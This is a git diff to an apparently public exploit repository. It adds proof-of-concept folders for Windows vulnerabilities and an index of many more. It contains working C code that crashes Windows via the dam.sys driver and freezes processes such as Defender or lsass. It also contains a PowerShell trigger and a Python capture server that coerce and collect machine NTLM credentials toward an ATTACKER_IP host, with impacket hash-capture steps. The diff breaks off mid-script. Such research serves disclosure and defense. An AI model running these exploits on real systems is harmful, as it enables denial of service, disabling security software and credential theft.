diff --git a/README.md b/README.md index 48710b3..9e42c65 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,14 @@ +https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. + +# News/Contact + +Credit for the objdump finding goes to someone who beat me to it (and has a better PoC): https://github.com/4D4J/objdump-Out-Of-Bounds-write + +New drops today ;) Biggest thing yet (DELAYED, I PROMISE THE WAIT WILL BE WORTH IT! After this, you guys will *usually* get one new PoC a day) + +I've also noticed a surprising amount of "security researchers" aren't able to adjust the PoC to work in their environment. I will broaden the PoCs for those select few... + +If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl # Statement This repo was incomplete when published. @@ -22,6 +33,30 @@ A consolidated archive of my public proof-of-concept and vulnerability research Most folders contain one of my former standalone PoC repos, preserved with its original README and tracked files. New research entries are added directly here as self-contained folders. +## Contributed Research (by [Unrealisedd](https://github.com/Unrealisedd)) + +The following entries were contributed via PR: + +| Folder | Description | +| --- | --- | +| `openvpn-UAF-BYOVD` | ovpn-dco-win kernel driver CNG key UAF + crash PoC | +| `storsvc-dll-hijack-lpe` | StorSvc `LoadLibraryW("SprintCSP.dll")` without `LOAD_LIBRARY_SEARCH_SYSTEM32` | +| `dam-sys-kernel-bugs` | dam.sys: 3 kernel bugs from standard user (BSOD + confused deputy + Defender freeze) | +| `seb-service-auth-bypass-lpe` | Safe Exam Browser SYSTEM service auth bypass → RCE as SYSTEM via log injection | +| `defender-signature-lock-bypass` | CVE-2026-45498 patch bypass: `FILE_SHARE_READ` locks Defender signatures | +| `discord` | Discord Desktop RCE attack paths | +| `wazuh` | Wazuh stack BOF + SCA DoS | +| `nextcloud` | XXE file read/SSRF + SSRF protection bypass | +| `n8n-ssrf-via-oauth2` | SSRF via OAuth2 callback in n8n | +| `fluentbit-infinite-dos` | Fluent Bit collectd parser unauth DoS loop | +| `librenms-RCE-chain` | LibreNMS SSTI to RCE chain | +| `overwolf-updater-lpe-poc` | Overwolf Updater forged Authenticode cert + insecure service DACL → SYSTEM LPE | +| `spacedesk-service-lpe-poc` | spacedesk service Everyone full-control DACL → SYSTEM in 3 commands | +| `woodpecker-yaml-cr-injection` | Woodpecker CI pipeline RCE via `\r` YAML injection bypass | +| `retroarch-chd-map-heap-overflow` | RetroArch libchdr integer overflow → heap OOB write on 32-bit | +| `defender-ntlm-coercion-poc` | Windows Defender NTLM coercion: standard user forces SYSTEM credential leak via UNC scan | +| `‎keep-provider-invoke-unauth-rce-poc` | Unauthenticated RCE chain in the keep monitoring system | + ## Contents | Folder | Source | Tracked entries | @@ -30,6 +65,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 | | `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 | | `curl-smtp-expn-recipient-crlf-injection` | direct entry, July 1, 2026 | 3 | +| `defender-ntlm-coercion-poc` | direct entry, July 6, 2026 | 3 | | `discord-activity-stock-client-rce-poc` | direct entry, July 14, 2026 | 8 | | `discourse-scoped-api-key-preauth-bypass` | direct entry, July 3, 2026 | 3 | | `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 | diff --git a/dam-sys-kernel-bugs/README.md b/dam-sys-kernel-bugs/README.md new file mode 100644 index 0000000..3c1034c --- /dev/null +++ b/dam-sys-kernel-bugs/README.md @@ -0,0 +1,149 @@ +# dam.sys — Kernel Bugs from Standard User (BSOD + Confused Deputy + Defender Freeze) + +Three vulnerabilities in the Windows Desktop Activity Moderator kernel driver (`dam.sys`), all reachable from a standard (non-admin) user via `\\.\DamCtrl`. The device is accessible to Everyone despite operating on arbitrary processes in kernel context. + +## Status + +Confirmed on Windows 11 Home 25H2 (build 26200.8457), dam.sys 10.0.26100.8328. + +## Files + +```text +. +|-- README.md +|-- bsod.c NULL pointer deref crash PoC +`-- freeze.c confused deputy + process freeze PoC +``` + +## Build + +``` +cl /O2 bsod.c +cl /O2 freeze.c +``` + +## Finding 1: Kernel NULL Pointer Dereference (BSOD) + +IOCTL `0x226014` (SetPolicy) takes a user-supplied PID and eventually dispatches to `DampExemptCheckCallbackRoutine`. When the target process's session ID has no entry in `DampUserContextList`, the linked list lookup falls through with `rdi = NULL` and the code unconditionally dereferences it: + +```asm +; No matching session context found: +xor ebx, ebx ; rbx = 0 (NULL) +mov rdi, rbx ; rdi = 0 (NULL) +mov rdx, [rdi] ; CRASH — reads from 0x0000000000000000 +mov rcx, r15 +call nt!ZwIsProcessInJob ; never reached +``` + +### Crash Evidence + +``` +BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) +Exception: STATUS_ACCESS_VIOLATION (0xC0000005) +Faulting: dam!DampExemptCheckCallbackRoutine+0x17e +Stack: + dam!DampExemptCheckCallbackRoutine+0x17e <- NULL deref + nt!ExNotifyCallback+0x103 + dam!DampNotificationGroupGet+0x144 + dam!DampIoDispatch+0x4a8 <- IOCTL handler + nt!NtDeviceIoControlFile+0x5e <- our DeviceIoControl +``` + +Registers at crash: `rdi=0x0000000000000000`, `r13=0xFFFFFFFF` (invalid session ID). + +### Run + +``` +bsod.exe --confirm +``` + +Crashes the machine. Use a VM. + +--- + +## Finding 2: Confused Deputy — Add Any Process to DAM Job Object + +IOCTL `0x22A01C` takes an 8-byte PID input and calls `PsLookupProcessByProcessId` followed by `DampAddProcessToJobObject` — with **no access check** on whether the calling user should be able to manipulate the target process. The kernel uses its own Ring 0 privileges to add any process to DAM's internal job objects on behalf of an unprivileged user. + +```c +// dam.sys IOCTL 0x22A01C handler (decompiled) +iVar11 = PsLookupProcessByProcessId((uint)*puVar5, &local_98); +if (-1 < iVar11) { + uVar13 = PsGetProcessImageFileName(local_98); // info leak + iVar11 = PsQueryProcessCommandLine(local_98, 0); // info leak + iVar12 = PsGetProcessSessionId(local_98); + DampAddProcessToJobObject(local_98, ...); // NO ACCESS CHECK +} +``` + +### Confirmed + +``` +Testing with lsass.exe PID 1804... + Result: SUCCESS + [!!!] Standard user added lsass.exe to DAM job object +``` + +### Side Effect: Information Disclosure + +The handler also calls `PsGetProcessImageFileName` and `PsQueryProcessCommandLine` for the target PID — a standard user can read the image name and full command line (including arguments that may contain secrets) of any process. + +### Run + +``` +freeze.exe lsass.exe +``` + +Adds lsass to DAM's job object without freezing. Confirms the confused deputy. + +--- + +## Finding 3: Security Feature Bypass — Freeze Defender + +IOCTL `0x22A008` calls `DamSetState` to modify freeze flags, which triggers `DampFreezeUserSessions` → `ZwSetInformationJobObject` with `JobObjectFreezeInformation` (class 0x12), suspending all threads in DAM's job objects. + +Combined with Finding 2: + +1. Add all security processes (MsMpEng.exe, Defender services, Event Log, etc.) to DAM jobs via IOCTL `0x22A01C` +2. Trigger freeze via IOCTL `0x22A008` +3. Defender management plane becomes unresponsive — can't report status, receive config, or respond to queries + +```c +// DamSetState (decompiled) +DampFreezeWorkerAcquireLockExclusive(0x14000d400); +uVar3 = (*(int *)(param_1 + 0xc) == 2) ? 2 : 0; // freeze flag +uVar2 = (*(int *)(param_1 + 0xc) == 3) ? 4 : 0; // deep freeze flag +DAT_14000d47c = uVar4 | uVar2 | uVar3 | (DAT_14000d47c & 0xffffffb8); +DampFreezeWorkerUpdatePostAndUnlock(&DAT_14000d400); +// -> DampFreezeUserSessions -> ZwSetInformationJobObject(JobObjectFreezeInformation) +``` + +### Run + +``` +freeze.exe MsMpEng.exe --freeze +``` + +Actually freezes Defender. Don't run outside a VM. + +--- + +## Root Cause Summary + +| IOCTL | Bug | CWE | Impact | +| --- | --- | --- | --- | +| 0x226014 | NULL deref after failed session lookup | CWE-476 | BSOD from standard user | +| 0x22A01C | No access check on target PID | CWE-441, CWE-862 | Confused deputy, add any process to job | +| 0x22A008 | No access check on freeze control | CWE-862 | Freeze any process in DAM jobs | + +All three share the same underlying issue: `\\.\DamCtrl` is accessible to standard users, and the IOCTL handlers operate on arbitrary processes using kernel privileges without verifying caller authorization. + +## Fix + +1. **NULL check**: validate that the `DampUserContextList` lookup returned non-NULL before dereferencing +2. **Access checks**: verify the caller has appropriate rights on the target PID before calling `PsLookupProcessByProcessId` / `DampAddProcessToJobObject` +3. **Device DACL**: restrict `\\.\DamCtrl` to admin-only — standard users have no legitimate need for direct DAM driver interaction + +## Responsible Use + +Run these PoCs only on systems you own or are explicitly authorized to test. The BSOD PoC crashes the machine. The freeze PoC can render security services unresponsive. Use a VM. diff --git a/dam-sys-kernel-bugs/bsod.c b/dam-sys-kernel-bugs/bsod.c new file mode 100644 index 0000000..57cd0bf --- /dev/null +++ b/dam-sys-kernel-bugs/bsod.c @@ -0,0 +1,57 @@ +/* + * bsod.c — dam.sys kernel NULL pointer deref (BSOD from standard user) + * + * IOCTL 0x226014 (SetPolicy) triggers DampExemptCheckCallbackRoutine + * which dereferences a NULL pointer when no DAM session context exists + * for the target process's session ID. + * + * BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) + * Faulting: dam!DampExemptCheckCallbackRoutine+0x17e + * mov rdx, [rdi] ; rdi = 0x0000000000000000 + * + * build: cl /O2 bsod.c + * run: bsod.exe --confirm [PID] + * + * WARNING: THIS WILL BSOD YOUR MACHINE. USE A VM. + */ + +#include +#include + +#define IOCTL_DAM_SET_POLICY 0x226014 + +int main(int argc, char *argv[]) { + printf("=== dam.sys kernel DoS PoC ===\n\n"); + + if (argc < 2 || strcmp(argv[1], "--confirm") != 0) { + printf("Usage: %s --confirm [PID]\n", argv[0]); + printf("WARNING: This causes a Blue Screen of Death.\n"); + printf("No admin required — works from standard user.\n"); + return 1; + } + + DWORD pid = (argc > 2) ? atoi(argv[2]) : 4; + printf("[*] target PID: %u\n", pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open \\\\.\\DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + printf("[!] sending IOCTL 0x226014 — expect BSOD\n"); + + BYTE buf[16] = {0}; + *(DWORD *)buf = pid; + *(DWORD *)(buf + 4) = 1; + DWORD ret; + DeviceIoControl(h, IOCTL_DAM_SET_POLICY, buf, sizeof(buf), + buf, sizeof(buf), &ret, NULL); + + printf("[?] if you see this, try a different PID\n"); + CloseHandle(h); + return 0; +} diff --git a/dam-sys-kernel-bugs/freeze.c b/dam-sys-kernel-bugs/freeze.c new file mode 100644 index 0000000..8c0fe2e --- /dev/null +++ b/dam-sys-kernel-bugs/freeze.c @@ -0,0 +1,102 @@ +/* + * freeze.c — dam.sys confused deputy + process freeze PoC + * + * Step 1: IOCTL 0x22A01C adds any process (by PID) to DAM's internal + * job objects. The kernel driver calls PsLookupProcessByProcessId + * and ZwAssignProcessToJobObject with NO access check on the + * target — a standard user can add lsass.exe, csrss.exe, etc. + * + * Step 2: IOCTL 0x22A008 triggers DamSetState to freeze all processes + * in DAM's job objects via ZwSetInformationJobObject with + * JobObjectFreezeInformation (class 0x12). + * + * build: cl /O2 freeze.c + * run: freeze.exe [--freeze] + * + * WARNING: --freeze will actually freeze the target process. + * This can freeze lsass, csrss, Defender, etc. USE A VM. + */ + +#include +#include +#include + +#define IOCTL_DAM_ADD_TO_JOB 0x22A01C +#define IOCTL_DAM_SET_STATE 0x22A008 + +static DWORD find_pid(const char *name) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pe = {.dwSize = sizeof(pe)}; + if (Process32First(snap, &pe)) { + do { + if (_stricmp(pe.szExeFile, name) == 0) { + CloseHandle(snap); + return pe.th32ProcessID; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return 0; +} + +int main(int argc, char *argv[]) { + printf("=== dam.sys confused deputy + freeze PoC ===\n\n"); + + if (argc < 2) { + printf("Usage: %s [--freeze]\n\n", argv[0]); + printf(" Adds target process to DAM's job object (confused deputy).\n"); + printf(" --freeze: also triggers freeze via IOCTL 0x22A008 (DANGEROUS)\n"); + printf("\n Examples:\n"); + printf(" %s lsass.exe (add lsass to DAM job, no freeze)\n", argv[0]); + printf(" %s MsMpEng.exe --freeze (freeze Defender)\n", argv[0]); + return 1; + } + + int do_freeze = (argc > 2 && strcmp(argv[2], "--freeze") == 0); + + DWORD pid = find_pid(argv[1]); + if (!pid) { + printf("[-] process '%s' not found\n", argv[1]); + return 1; + } + printf("[*] target: %s (PID %u)\n", argv[1], pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + ULONGLONG pid_input = (ULONGLONG)pid; + DWORD ret; + BOOL ok = DeviceIoControl(h, IOCTL_DAM_ADD_TO_JOB, &pid_input, 8, + NULL, 0, &ret, NULL); + printf("[%c] add to job: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + + if (!ok) { + CloseHandle(h); + return 1; + } + + if (do_freeze) { + printf("[!] triggering freeze...\n"); + BYTE state[16] = {0}; + *(DWORD *)(state + 8) = 2; + *(DWORD *)(state + 12) = 2; + + ok = DeviceIoControl(h, IOCTL_DAM_SET_STATE, state, 16, + NULL, 0, &ret, NULL); + printf("[%c] set state: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + } else { + printf("[*] process added to DAM job. pass --freeze to actually freeze it.\n"); + } + + CloseHandle(h); + return 0; +} diff --git a/defender-ntlm-coercion-poc/README.md b/defender-ntlm-coercion-poc/README.md new file mode 100644 index 0000000..5d67eb4 --- /dev/null +++ b/defender-ntlm-coercion-poc/README.md @@ -0,0 +1,124 @@ +# Windows Defender NTLM Coercion - Standard User Forces SYSTEM Credential Leak + +Windows Defender (`MsMpEng.exe`, running as `NT AUTHORITY\SYSTEM`) processes custom scan requests from standard users without impersonating the caller. When the scan target is a UNC path (`\\attacker\share\file.exe`), Defender opens the file under its own SYSTEM context, so the SMB client authenticates to the remote server using the machine's NTLM credentials. + +There is a feature flag for this in MpSvc.dll called `MpFC_EnableImpersonationOnNetworkResourceScan`. Microsoft has actually pushed this flag to `1` (enabled) via their ECS cloud configuration service, but it does not work. The impersonation never happens. Both the ACL bypass and the NTLM coercion still reproduce with the flag set to 1, meaning Microsoft attempted a fix, deployed it, and the fix is broken. + +## Status + +Verified on Windows 11 24H2 (build 26200), Defender Platform 4.18.26060.3008-0. + +| Check | Result | +| --- | --- | +| SYSTEM-only file scan | Defender reads EICAR from file where user has zero access | +| SMB coercion | SYN_SENT to target:445 from PID 4 (System) on UNC scan | +| Impersonation gap | ~80 NOGUARD functions vs 1 GUARDED in MpSvc.dll | +| Feature flag | `MpFC_EnableImpersonationOnNetworkResourceScan` set to 1 via ECS but **ineffective** | +| Revalidated | 2026-07-09, flag=1, EICAR still detected through SYSTEM-only ACL | + +## PoC Status + +The ACL bypass proof (Part 1) is solid and fully working. The NTLM coercion trigger (Part 2) works too, you can see PID 4 reaching out on 445 with netstat. However, the capture server (`capture.py`) and the WebDAV listener path haven't been properly tested end-to-end with two machines yet. The listener implementation might still have issues. If you're reproducing this, using `impacket-smbserver` on a Linux box is the safer bet for actually grabbing the hash. + +## Files + +```text +. +|-- README.md +|-- poc.ps1 trigger + ACL bypass proof +`-- capture.py NTLM capture server (SSPI-based, might need fixes) +``` + +## Root Cause + +MpSvc.dll handles scan requests via RPC. The service opens target files using its own SYSTEM token without impersonating the requesting user's context. ImpersonationGap analysis shows ~80 functions reaching sensitive sinks (CreateFileW, etc.) with no impersonation call, versus only 1 with proper impersonation. + +When the target is a UNC path, the SYSTEM-context file open causes the SMB client to send the machine NTLM credentials to the remote host. + +### The Broken Fix + +The flag `MpFC_EnableImpersonationOnNetworkResourceScan` lives in: + +``` +HKLM\SOFTWARE\Microsoft\Windows Defender\Features\EcsConfigs +``` + +This is a cloud-pushed config from Microsoft's Experimentation and Configuration Service. On a stock Windows 11 install with no manual changes, it is set to `0x1`. Despite this, Defender still opens files as SYSTEM. Either the code path that checks this flag has a bug, or the flag gates something else entirely and the actual impersonation logic was never implemented. + +## ACL Bypass Proof + +Create an EICAR file with a SYSTEM-only ACL. The standard user gets Access Denied, but Defender still detects the EICAR signature. This proves the scan runs as SYSTEM, not as the requesting user. + +```powershell +$testFile = "$env:USERPROFILE\defender_acl_test\system_only_eicar.com" +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +Set-Content -Path $testFile -Value $eicar -Encoding ascii + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$newAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow"))) +Set-Acl -Path $testFile -AclObject $newAcl + +Get-Content $testFile # Access Denied + +Start-MpScan -ScanType CustomScan -ScanPath $testFile +Get-MpThreatDetection | Where-Object { $_.Resources -match "system_only_eicar" } +# EICAR detected - Defender read the file as SYSTEM +``` + +Output (with flag=1, 2026-07-09): + +``` +ACL: NT AUTHORITY\SYSTEM -> FullControl (Allow) [only entry] +User read: "Access to the path '...\system_only_eicar.com' is denied." +Defender scan: completed (no error) +Detection: InitialDetect 07/09/2026 16:24:32, Resources: revalidate_eicar.com +Flag: MpFC_EnableImpersonationOnNetworkResourceScan = 1 (enabled, ineffective) +``` + +## NTLM Coercion + +Point a custom scan at a UNC path and monitor outgoing SMB. PID 4 (System kernel process) reaches out to the target on port 445: + +```powershell +Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP\share\file.exe" + +# monitor in another terminal: +while ($true) { + netstat -ano | Select-String "ATTACKER_IP:445" + Start-Sleep -Milliseconds 200 +} +``` + +``` +23:07:10.603 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:10.812 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:11.009 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +[... all PID 4 ...] +``` + +## Hash Capture (Remote) + +On the attacker box (most reliable method): + +```bash +impacket-smbserver test /tmp/share -smb2support + +# output when scan triggers: +# [*] Incoming connection (VICTIM_IP,PORT) +# [*] AUTHENTICATE_MESSAGE (DOMAIN\MACHINE$, VICTIM) +# [*] NTLMv2-SSP Hash: MACHINE$::DOMAIN:... +``` + +There is also `capture.py` included which is a Windows SSPI HTTP/WebDAV capture server, but it hasn't been fully tested with two machines. Use impacket if you can. + +## Impact + +Standard user coerces SYSTEM NTLM creds from the machine. On a domain, this gives you the machine account hash, which opens the door to NTLM relay (SMB/LDAP/HTTP), RBCD escalation, or silver ticket forging depending on the environment. Locally, the ACL bypass alone confirms Defender reads arbitrary files as SYSTEM regardless of the file's ACL. + +Requires: standard user, outbound 445 not firewalled (or WebDAV on any port to an attacker host). + +## Fix + +Microsoft already has the flag and presumably the code path, but it doesn't work. They need to actually impersonate the calling user's token before opening files for on-demand scans, or reject UNC paths from non-admin callers altogether. diff --git a/defender-ntlm-coercion-poc/capture.py b/defender-ntlm-coercion-poc/capture.py new file mode 100644 index 0000000..5ed9180 --- /dev/null +++ b/defender-ntlm-coercion-poc/capture.py @@ -0,0 +1,223 @@ +""" +NTLM capture server (SSPI-based). Runs HTTP/WebDAV on any port. +Use on a remote host to grab NTLM creds coerced via Defender UNC scan. + + python capture.py [port] + +Trigger on victim: + Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP@PORT\DavWWWRoot\file.exe" + +Requires: pywin32 (pip install pywin32) +""" +import http.server +import socketserver +import base64 +import struct +import sys +import datetime +import os +import ctypes +import ctypes.wintypes + +try: + import sspi + import sspicon +except ImportError: + print("ERROR: pywin32 required. Install with: pip install pywin32") + sys.exit(1) + + +secur32 = ctypes.windll.secur32 +advapi32 = ctypes.windll.advapi32 +kernel32 = ctypes.windll.kernel32 + +secur32.ImpersonateSecurityContext.argtypes = [ctypes.c_void_p] +secur32.ImpersonateSecurityContext.restype = ctypes.c_long +secur32.RevertSecurityContext.argtypes = [ctypes.c_void_p] +secur32.RevertSecurityContext.restype = ctypes.c_long +advapi32.GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetUserNameW.restype = ctypes.wintypes.BOOL +advapi32.OpenThreadToken.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD, + ctypes.wintypes.BOOL, ctypes.POINTER(ctypes.wintypes.HANDLE)] +advapi32.OpenThreadToken.restype = ctypes.wintypes.BOOL +advapi32.GetTokenInformation.argtypes = [ctypes.wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, + ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetTokenInformation.restype = ctypes.wintypes.BOOL +advapi32.LookupAccountSidW.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), + ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.LookupAccountSidW.restype = ctypes.wintypes.BOOL +kernel32.GetCurrentThread.argtypes = [] +kernel32.GetCurrentThread.restype = ctypes.wintypes.HANDLE + + +def query_identity(sspi_server): + ctxt = sspi_server.ctxt + if ctxt is None: + return "(no context)" + # pywin32 PyCtxtHandle: skip ob_refcnt + ob_type to get raw SecHandle + obj_addr = id(ctxt) + handle_ptr = ctypes.c_void_p(obj_addr + 16) + rc = secur32.ImpersonateSecurityContext(handle_ptr) + if rc != 0: + return f"(impersonation failed: {rc:#010x})" + buf = ctypes.create_unicode_buffer(256) + buf_sz = ctypes.wintypes.DWORD(256) + username = "(unknown)" + if advapi32.GetUserNameW(buf, ctypes.byref(buf_sz)): + username = buf.value + full_id = username + try: + hToken = ctypes.wintypes.HANDLE() + if advapi32.OpenThreadToken(kernel32.GetCurrentThread(), 0x0008, True, ctypes.byref(hToken)): + ret_len = ctypes.wintypes.DWORD(0) + advapi32.GetTokenInformation(hToken, 1, None, 0, ctypes.byref(ret_len)) + if ret_len.value > 0: + token_buf = ctypes.create_string_buffer(ret_len.value) + if advapi32.GetTokenInformation(hToken, 1, token_buf, ret_len.value, + ctypes.byref(ret_len)): + sid_ptr = ctypes.cast(token_buf, ctypes.POINTER(ctypes.c_void_p))[0] + name = ctypes.create_unicode_buffer(256) + name_sz = ctypes.wintypes.DWORD(256) + domain = ctypes.create_unicode_buffer(256) + domain_sz = ctypes.wintypes.DWORD(256) + sid_type = ctypes.wintypes.DWORD(0) + if advapi32.LookupAccountSidW(None, sid_ptr, name, ctypes.byref(name_sz), + domain, ctypes.byref(domain_sz), + ctypes.byref(sid_type)): + full_id = f"{domain.value}\\{name.value}" + kernel32.CloseHandle(hToken) + except Exception as e: + full_id = f"{username} (err: {e})" + secur32.RevertSecurityContext(handle_ptr) + return full_id + + +def parse_type3(data): + if len(data) < 52: + return {} + try: + dom_len = struct.unpack_from(" 401 (init NTLM)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if self.sspi_server is None: + self.sspi_server = sspi.ServerAuth("NTLM") + token_bytes = base64.b64decode(auth[5:]) + try: + err, sec_buffer = self.sspi_server.authorize(token_bytes) + except Exception as e: + print(f"[{ts}] SSPI error: {e}", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if err == sspicon.SEC_I_CONTINUE_NEEDED: + out_token = sec_buffer[0].Buffer + challenge_b64 = base64.b64encode(out_token).decode() + print(f"[{ts}] Type 1 -> challenge ({len(out_token)} bytes)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", f"NTLM {challenge_b64}") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + elif err == 0: + info = parse_type3(token_bytes) + identity = query_identity(self.sspi_server) + sep = "=" * 60 + print(f"\n{sep}", flush=True) + print(f"[{ts}] NTLM AUTH CAPTURED", flush=True) + print(f" SSPI Identity: {identity}", flush=True) + print(f" Type3 Domain: {info.get('domain', '?')}", flush=True) + print(f" Type3 User: {info.get('user', '?')}", flush=True) + print(f" Type3 Host: {info.get('hostname', '?')}", flush=True) + print(f" NT Response: {info.get('nt_len', '?')} bytes", flush=True) + print(f"{sep}\n", flush=True) + self.send_response(200) + self.send_header("Content-Type", "text/xml") + body = b'' + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + else: + print(f"[{ts}] SSPI err: {err}", flush=True) + self.send_response(401) + self.send_header("Content-Length", "0") + self.end_headers() + + def log_message(self, fmt, *args): + pass + + def handle_one_request(self): + try: + super().handle_one_request() + except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError): + self.close_connection = True + + +class ThreadedServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + allow_reuse_address = True + daemon_threads = True + + +if __name__ == "__main__": + port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888 + srv = ThreadedServer(("0.0.0.0", port), Handler) + print(f"[*] NTLM SSPI Capture Server on 0.0.0.0:{port}") + print(f"[*] Trigger: Start-MpScan -ScanPath '\\\\ATTACKER@{port}\\DavWWWRoot\\file.exe'") + sys.stdout.flush() + try: + srv.serve_forever() + except KeyboardInterrupt: + pass diff --git a/defender-ntlm-coercion-poc/poc.ps1 b/defender-ntlm-coercion-poc/poc.ps1 new file mode 100644 index 0000000..c2aa597 --- /dev/null +++ b/defender-ntlm-coercion-poc/poc.ps1 @@ -0,0 +1,135 @@ +# Defender NTLM Coercion PoC +# Part 1: ACL bypass (proves SYSTEM-context file access) +# Part 2: UNC scan triggers outgoing NTLM auth from PID 4 (System) +# Uses WebDAV (capture.py) by default. Pass -Port 445 for SMB (impacket). + +param( + [string]$AttackerIP = "192.168.1.1", + [int]$Port = 8888 +) + +$ErrorActionPreference = "Continue" + +# --- Part 1: ACL bypass --- + +Write-Host "" +Write-Host "--- ACL Bypass Test ---" +Write-Host "" + +$testDir = Join-Path $env:USERPROFILE "defender_acl_test" +New-Item -ItemType Directory -Path $testDir -Force | Out-Null + +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +$testFile = Join-Path $testDir "system_only_eicar.com" +Set-Content -Path $testFile -Value $eicar -Encoding ascii -Force + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow") +$newAcl.AddAccessRule($systemRule) +Set-Acl -Path $testFile -AclObject $newAcl + +Write-Host ("[+] EICAR file with SYSTEM-only ACL: " + $testFile) + +$acl = Get-Acl $testFile +$acl.Access | ForEach-Object { + Write-Host (" " + $_.IdentityReference + " -> " + $_.FileSystemRights + " (" + $_.AccessControlType + ")") +} + +Write-Host "" +try { + $null = Get-Content $testFile -ErrorAction Stop + Write-Host "[!] User CAN read file (unexpected)" -ForegroundColor Red +} catch { + Write-Host "[+] User cannot read file (Access Denied)" -ForegroundColor Green +} + +Write-Host "" +Write-Host "[*] Triggering scan..." +$scanStart = Get-Date +Start-MpScan -ScanType CustomScan -ScanPath $testFile 2>$null +Start-Sleep -Seconds 3 + +$threats = Get-MpThreatDetection 2>$null | + Where-Object { $_.Resources -match "system_only_eicar" -and $_.InitialDetectionTime -ge $scanStart.AddSeconds(-5) } + +if ($threats) { + foreach ($t in $threats) { + Write-Host ("[+] Detected: " + $t.InitialDetectionTime + " | " + $t.Resources) + } + Write-Host "[+] Defender read the file as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[!] No detection - Defender may have already quarantined EICAR" -ForegroundColor Yellow + Write-Host " Check: Get-MpThreat | Select ThreatName, IsActive" +} + +# --- Part 2: NTLM coercion --- + +Write-Host "" +Write-Host ("--- NTLM Coercion Test (target: " + $AttackerIP + ":" + $Port + ") ---") +Write-Host "" + +# WebDAV needs WebClient service running +if ($Port -ne 445) { + $wc = Get-Service WebClient -ErrorAction SilentlyContinue + if ($wc -and $wc.Status -ne "Running") { + Write-Host "[*] Starting WebClient service (needed for WebDAV)..." + Start-Service WebClient -ErrorAction SilentlyContinue + Start-Sleep -Seconds 1 + } + if (-not $wc) { + Write-Host "[!] WebClient service not found - WebDAV may not work" -ForegroundColor Yellow + } +} + +$logFile = Join-Path $env:TEMP "defender_ntlm_monitor.txt" +"" | Out-File $logFile -Encoding utf8 + +$monitorJob = Start-Job -ScriptBlock { + param($ip, $port, $logPath) + $end = (Get-Date).AddSeconds(15) + while ((Get-Date) -lt $end) { + $ts = Get-Date -Format "HH:mm:ss.fff" + $hits = netstat -ano 2>$null | Where-Object { $_ -match ($ip + ":" + $port) } + foreach ($h in $hits) { + $line = $ts + " | " + $h.Trim() + $line | Out-File $logPath -Append -Encoding utf8 + } + Start-Sleep -Milliseconds 200 + } +} -ArgumentList $AttackerIP, $Port, $logFile + +Start-Sleep -Seconds 1 + +if ($Port 